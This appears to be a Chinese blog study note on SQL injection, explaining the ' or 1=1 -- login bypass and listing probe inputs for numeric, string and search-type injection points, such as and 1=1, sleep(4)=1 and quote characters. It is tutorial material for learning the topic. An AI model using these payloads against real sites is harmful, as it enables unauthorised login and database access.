学习笔记-SQL注入1(注入点类型)

SQL注入示例

  通过在用户名出传入参数'or 1=1 -- 进行万能密码登录

select username,passwd from user where username ='text' and password ='text'    //正常语句
select username,passwd from user where username ='text' or 1=1 -- ' and password ='text2'  //--后面带空格 -- '相当于注释符
select username,passwd from user where username ='text' or 1=1    //最终语句   1=1恒为真结果为TRUE,or或运算,所以结果恒为真

  判断一个HTTP请求是否存在SQL注入的方式

  经典:and 1=1 | and 2>1 | or 1=1 | or 1<1    

  数据库:sleep(4)=1 | length(user())>3      //length(user())取当前用户名,如果用户名大于3,返回结果为真

     特殊符号:单引号(') 双引号(") 

 注入点类型分类

  数字型(整型)注入

  输入的参数为整数,如ID,年龄,页码等

  实际查询代码如:select ... from ... where id=$id...

  测试:id=1'    //数据库报错

     id=1 and 1=1  //网站正常显示

     id=1 and 1=2  //网站正常没有任何显示

  字符型注入

  输入的参数为字符串

  实际查询代码如:select ... from ... where id='$id'...

  测试:id=admin'  //id='admin''    返回错误

     id=admin' and '1'='1    //id='admin' and '1'='1'   运行正常

     id=admin' and '1'='2   //id='admin' and '1'='2'      异常

  搜索型注入

  进行数据搜索时没有过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示链接地址,而是直接通过搜索框表单提交

  原型大致:select * from 表名 where 字段 like '%关键字%'

  注入参数为keyword='and[查询条件] and '%'=',SQL语句为:select * from 表名 where 字段 like '%' and [查询条件] and '%'='%'

  

posted @   彩凤898  阅读(168)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 一起来玩mcp_server_sqlite,让AI帮你做增删改查!!
· 零经验选手,Compose 一天开发一款小游戏!
点击右上角即可分享
微信分享提示